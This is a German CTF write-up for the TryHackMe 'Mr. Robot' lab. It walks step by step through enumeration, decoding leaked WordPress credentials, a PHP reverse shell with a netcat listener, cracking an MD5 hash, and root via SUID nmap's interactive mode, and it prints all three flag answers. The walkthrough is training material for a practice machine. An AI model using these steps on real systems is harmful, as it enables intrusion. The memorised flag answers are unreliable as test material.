Mr. Robot CTF
Inhaltsverzeichnis

🤖 TryHackMe Mr. Robot CTF 🤖

Können wir Mr. Robot CTF hacken? Diese virtuelle Maschine ist mit mittel bewertet und wird uns viele nützliche Dinge beibringen.
Die Anweisungen helfen dabei, dieselben Antworten zu erhalten; es gibt Schritt-für-Schritt-Anleitungen.
Verwendete Programme:
- OpenVPN
- NMAP
- GoBuster
- Netcat
Anweisungen #
Um mit dem Hacken dieser virtuellen Maschine zu beginnen, müssen wir uns zuerst mit TryHackMe OpenVPN verbinden und die Maschine in Aufgabe 2 ausführen.
Ich gehe davon aus, dass Ihre lokale virtuelle Maschine das Betriebssystem Kali Linux verwendet.
Verbindungsaufbau über OpenVPN #
Zuerst müssen wir die Datei OpenVPN von TryHackMe herunterladen, die sie Ihnen geben. Schalten Sie dann das Terminal in dem Verzeichnis ein, in das Sie die OpenVPN-Datei heruntergeladen haben. Der Anschluss erfolgt über:
sudo openvpn *NAME_OF_YOUR_FILE*.ovpn
Netzwerkaufzählung #
Zuerst müssen wir uns ansehen, welche Ports offen sind. Je mehr wir über das System wissen, desto besser. In diesem Fall verwenden wir Nmap, um das Netzwerk zu scannen.
Nmap-Scan #
kali@kali:~/Desktop$ nmap *IP_ADRESSE* -A
Ergebnis des Nmap-Scans #
kali@kali:-/Desktop$ nmap 10.10.51.194 -A Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-23 18:35 CEST Nmap scan report for 10.10.38.44 Host is up (0.095s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.example.com | Not valid before: 2015-09-16T10:45:03 |_Not valid after: 2025-09-13T10:45:03 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.90 seconds
Wie wir sehen können, haben wir Port 80 geöffnet, was uns sagt, dass dies eine Website im HTTP-Protokoll ist.
Installation von seclists #
sudo apt install seclists
Nach diesem Befehl wird seclists im Verzeichnis /usr/share/seclists/ installiert.
Verzeichnisaufzählung auf einem Webserver mit gobuster #
kali@kali:~/Desktop$ gobuster dir -u http://10.10.51.194/ -w /usr/share/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.51.194/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/05/23 18:27:45 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 213] /.htaccess (Status: 403) [Size: 218] /.htpasswd (Status: 403) [Size: 218] /0 (Status: 301) [Size: 0] [--> http://10.10.51.194/0/] /Image (Status: 301) [Size: 0] [--> http://10.10.51.194/Image/] /admin (Status: 301) [Size: 234] [--> http://10.10.51.194/admin/] /atom (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/atom/] /audio (Status: 301) [Size: 234] [--> http://10.10.51.194/audio/] /blog (Status: 301) [Size: 233] [--> http://10.10.51.194/blog/] /css (Status: 301) [Size: 232] [--> http://10.10.51.194/css/] /dashboard (Status: 302) [Size: 0] [--> http://10.10.51.194/wp-admin/] /favicon.ico (Status: 200) [Size: 0] /feed (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/] /images (Status: 301) [Size: 235] [--> http://10.10.51.194/images/] /image (Status: 301) [Size: 0] [--> http://10.10.51.194/image/] /index.php (Status: 301) [Size: 0] [--> http://10.10.51.194/] /index.html (Status: 200) [Size: 1188] /js (Status: 301) [Size: 231] [--> http://10.10.51.194/js/] /intro (Status: 200) [Size: 516314] /license (Status: 200) [Size: 309] /login (Status: 302) [Size: 0] [--> http://10.10.51.194/wp-login.php] /page1 (Status: 301) [Size: 0] [--> http://10.10.51.194/] /phpmyadmin (Status: 403) [Size: 94] /readme (Status: 200) [Size: 64] /rdf (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/rdf/] /robots (Status: 200) [Size: 41] /robots.txt (Status: 200) [Size: 41] /rss (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/] /rss2 (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/] /sitemap (Status: 200) [Size: 0] /sitemap.xml (Status: 200) [Size: 0] /video (Status: 301) [Size: 234] [--> http://10.10.51.194/video/] /wp-admin (Status: 301) [Size: 237] [--> http://10.10.51.194/wp-admin/] /wp-content (Status: 301) [Size: 239] [--> http://10.10.51.194/wp-content/] /wp-config (Status: 200) [Size: 0] /wp-includes (Status: 301) [Size: 240] [--> http://10.10.51.194/wp-includes/] /wp-cron (Status: 200) [Size: 0] /wp-links-opml (Status: 200) [Size: 227] /wp-load (Status: 200) [Size: 0] /wp-login (Status: 200) [Size: 2606] /wp-mail (Status: 500) [Size: 3064] /wp-settings (Status: 500) [Size: 0] /wp-signup (Status: 302) [Size: 0] [--> http://10.10.51.194/wp-login.php?action=register] /xmlrpc (Status: 405) [Size:42] =============================================================== 2021/05/23 18:40:33 Finished ===============================================================
Suche nach dem ersten Schlüssel #
Nach der Aufzählung können wir weitere Verzeichnisse sehen, die sich auf diesem Webserver befinden. Wenn wir uns den TryHackMe-Hinweis für den ersten Schlüssel ansehen, können wir sehen, dass unser Hinweis robots.txt ist. Ich denke, dieser Hinweis /robots Verzeichnis sind verwandt. Daneben interessiere ich mich für /wp-login; Ich denke, es ist WordPress.
Aufruf der Seite Geben Sie die erhaltene IP-Adresse in Ihren Webbrowser ein:

Aber wenn wir unseren Link /robots.txt (IP_ADDRESS/robots.txt) eingeben, können wir sehen, dass er den ersten Schlüssel auswirft, der im .txt-Format vorliegt.

Wir haben zwei Dateien gefunden, eine fsociety.dic und key-1-of-3.txt. Die erste Datei sieht aus wie eine Wörterbuchdatei.
Herunterladen des ersten Schlüssels #
Wir können den ersten Schlüssel sehen, indem wir die Seite eingeben (http://IP_ADRESSE/key-1-of-3.txt), aber wir können ihn auch mit dem Befehl curl herunterladen.
curl -s http://IP_ADRESSE/key-1-of-3.txt
Ergebnis #
kali@kali:~/Desktop$ curl -s http://10.10.51.194/key-1-of-3.txt 073403c8a58a1f80d943455fb30724b9
Erster Schlüssel: 073403c8a58a1f80d943455fb30724b9
Finden des zweiten Schlüssels #
HINWEIS: Weißer Text.
Wenn wir zurück zu gobuster gehen, können wir sehen, dass wir WordPress-Verzeichnisse hatten. Ich interessiere mich speziell für:
/login (Status: 302) /wp-content (Status: 301) /admin (Status: 301) /wp-login (Status: 200) /license (Status: 200) /wp-includes (Status: 301)
Wie wir sehen können, hat das Verzeichnis /license den Status 200. Status 200 sagt uns, dass die Seite aktiv ist. Curl ist in diesem Fall unser bester Freund.
Curl-Befehl #
curl -s http://IP_ADDRESS/license | tr -d "\n"
Ergebnis #
kali@kali:~/Desktop$ curl -s http://10.10.51.194/license | tr -d "\n" what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?do you want a password or something? ZWxsaW90OkVSMjgtMDY1Mgo=
Der spezifische Text ist ZWxsaW90OkVSMjgtMDY1Mgo= sieht aus wie base64.
Base64 entschlüsseln #
Der Befehl, den wir verwenden werden, lautet:
echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
Ergebnis der Base64-Entschlüsselung #
kali@kali:~/Desktop$ echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d elliot:ER28-0652
Wir haben den Benutzernamen und das Passwort, denke ich, von WordPress.
WordPress-Aufzählung #
Es ist an der Zeit, sich bei WordPress anzumelden:
Der erste Schritt ist zu gehen:
http://IP_ADDRESS/wp-login
Nachdem wir uns sofort auf der Seite in der unteren linken Ecke angemeldet haben, sehen wir, dass die WordPress-Version 4.3.1 ist. Dies ist eine alte Version von WordPress.

Wir finden zwei Benutzer, von denen Elliot (wir) der Administrator ist.

Wir können sehen, dass diese alte Version von WordPress anfällig für PHP Reverse Shell, LINK DES SKRIPTS
Da wir ein Administrator sind, müssen wir zum Aussehen gehen.

Wir müssen den Code durch das Skript auf der 404-PHP-Vorlage ersetzen.

ifconfig überprüfen.PHP reverse shell über netcat #
Nachdem wir die IP-Adresse im Skript ersetzt und geändert haben, führen wir Netcat auf dem Port aus, der über das Skript eine Verbindung zu uns herstellt. Das machen wir mit folgendem Befehl:
nc -nlvp 1234
Danach müssen wir im Webbrowser auf die http://IP_ADRESSE/404.php diesen Link gehen.

Wie wir sehen können, haben wir die Shell im Terminal geöffnet. Netcat bekam die Verbindung.
Wir werden nun prüfen, welche Dateien sich im Verzeichnis /home/robot befinden. Das machen wir mit dem Befehl:
ls -l /home/robot
Wir kennen jetzt die Position des zweiten Schlüssels:
$ ls -l /home/robot total 8 -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Das Problem ist, dass wir überhaupt kein “Roboter”-Benutzer auf dieser Maschine sind. Wir überprüfen dies mit dem whoami-Befehl.
$ whoami daemon
Die einzige Datei, die wir sehen können, ist password.raw-md5. Mal sehen, was in dieser Datei ist.
$ cat /home/robot/password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b
MD5-Hash entschlüsseln #
Es ist MD5-Hash. Ein Hash ist eine mathematische Funktion, die nicht zurückgegeben werden kann, nachdem sie ihre Aufgabe erledigt hat. Dies ist gut zum Speichern von Passwörtern, aber MD5 ist ein alter Algorithmus und leicht zu knacken.
Wir werden zunächst prüfen, ob dieser Hash online geknackt werden kann, um Zeit zu sparen. Verknüpfung
Wie wir auf dem obigen Link sehen können, ist dies möglich. Das Passwort ist abcdefghijklmnopqrstuvwxyz
Jetzt müssen wir uns als robot-Benutzer anmelden. Das machen wir mit folgendem Befehl:
su - robot
Aber es gibt ein Problem:
$ su - robot su: must be run from a terminal
Python Shell #
Dies kann mit Python behoben werden. Zuerst müssen wir prüfen, ob Python überhaupt installiert ist.
$ which python /usr/bin/python
Lassen Sie uns eine Shell mit Python erstellen. Das können wir mit diesem Befehl machen:
python -c 'import pty; pty.spawn("/bin/sh")'
Wie Sie sehen können, hat das Terminal keine Fehler angezeigt, was bedeutet, dass wir erfolgreich eine Shell in Python erstellt haben.
Melden wir uns als Benutzer robot an.
$ su - robot su - robot Password: abcdefghijklmnopqrstuvwxyz $ whoami whoami robot $
Wie wir sehen können, sind wir als robot-Benutzer angemeldet.
Zweiter Schlüssel #
Um den zweiten Schlüssel anzuzeigen, müssen wir den cat-Befehl verwenden:
cat key-2-of-3.txt
Ergebnis:
$ cat key-2-of-3.txt cat key-2-of-3.txt 822c73956184f694993bede3eb39f959
Zweiter Schlüssel: 822c73956184f694993bede3eb39f959
Finden des dritten Schlüssels #
HINWEIS: NMAP
Wenn wir zurück zum Nmap-Ergebnis gehen, das wir am Anfang erhalten haben; Wir können sehen, dass der SSH-Port geschlossen ist. Der endgültige Schlüssel befindet sich meistens im /root-Verzeichnis. Um root zu werden, müssen wir eine Privilegieneskalation durchführen. Als erstes interessiert mich, ob der Benutzer robot in der sogenannten sudo-Gruppe ist.
Privilegieneskalation #
Ist der Benutzer robot in der sudo-Gruppe?
$ sudo -l sudo -l [sudo] password for robot: abcdefghijklmnopqrstuvwxyz Sorry, user robot may not run sudo on linux.
Der Benutzer robot ist nicht auf der Liste mit sudo-Berechtigungen. Jetzt können wir sehen, welche Programme sich unter dem Benutzer root befinden.
Überprüfen von SETUID, die unter Root-Kontrolle stehen: #
Befehl:
find / -user root -perm -4000 -print 2>/dev/null
Ausgabe:
$ find / -user root -perm -4000 -print 2>/dev/null / -user root -perm -4000 -print 2>/dev/null /bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/nmap /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown
Mir ist sofort /usr/local/bin/nmap aufgefallen. Mal sehen, welche Version von Nmap es ist.
Überprüfung der Nmap-Version: #
Befehl:
nmap --version
Ausgabe:
$ nmap --version nmap --version nmap version 3.81 ( http://www.insecure.org/nmap/ )
Wie wir sehen können, ist die Nmap-Version 3.81.
Aufzählung: #
Nach ein wenig Recherche fand ich heraus:
Verknüpfung Wie wir unter dem obigen Link lesen können, handelt es sich um eine ältere Nmap-Version. Versionen von 2.02 bis 5.21 hatten die sog. Der interaktive Modus ermöglichte es uns, Befehle auszuführen. Darüber hinaus ermöglicht uns die Überprüfung von SETUID, Befehle als root auszuführen.
$ ls -l /usr/local/bin/nmap ls -l /usr/local/bin/nmap -rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
Nmap im interaktiven Modus starten: #
Befehl:
nmap --interactive
Ausgabe:
$ nmap --interactive nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !whoami !whoami root waiting to reap child : No child processes
Wir sehen, dass sich Nmap im interaktiven Root-Modus befindet.
Suche nach dem letzten Schlüssel: #
Wir werden zuerst prüfen, ob sich das dritte Flag in der Wurzel befindet.
Befehl:
!ls /root
Ausgabe:
nmap> !ls /root !ls /root firstboot_done key-3-of-3.txt waiting to reap child : No child processes
Wir haben den dritten Schlüssel gefunden, der sich in der Textdatei befindet. Wir können den Inhalt mit dem folgenden Befehl lesen:
!cat /root/key-3-of-3.txt
nmap> !cat /root/key-3-of-3.txt !cat /root/key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4 waiting to reap child : No child processes
Dritter Schlüssel: 04787ddef27c3dee1ee161b21670b4e4
Fazit #
Interessantes CTF mit vielen Anspielungen auf die Serie. Ich habe viel gelernt, und das Wichtigste ist, Betriebssysteme und Anwendungen regelmäßig zu aktualisieren, wie wir im Beispiel mit der älteren Version von Nmap und WordPress sehen. Erlauben Sie außerdem niemandem, Ihre Konten zu hacken, ändern Sie die Codes regelmäßig und verwenden Sie für jedes Konto Zufallscodes mit einer Mindestlänge von 32 Ziffern. Jeder sollte einem Passwort, einem Konto und einer E-Mail-Adresse folgen.
Schlüssel #
Liste der Fragen und Antworten:
Fragen Antworten Was ist Schlüssel 1? 073403c8a58a1f80d943455fb30724b9 Was ist Schlüssel 2? 822c73956184f694993bede3eb39f959 Was ist Schlüssel 3? 04787ddef27c3dee1ee161b21670b4e4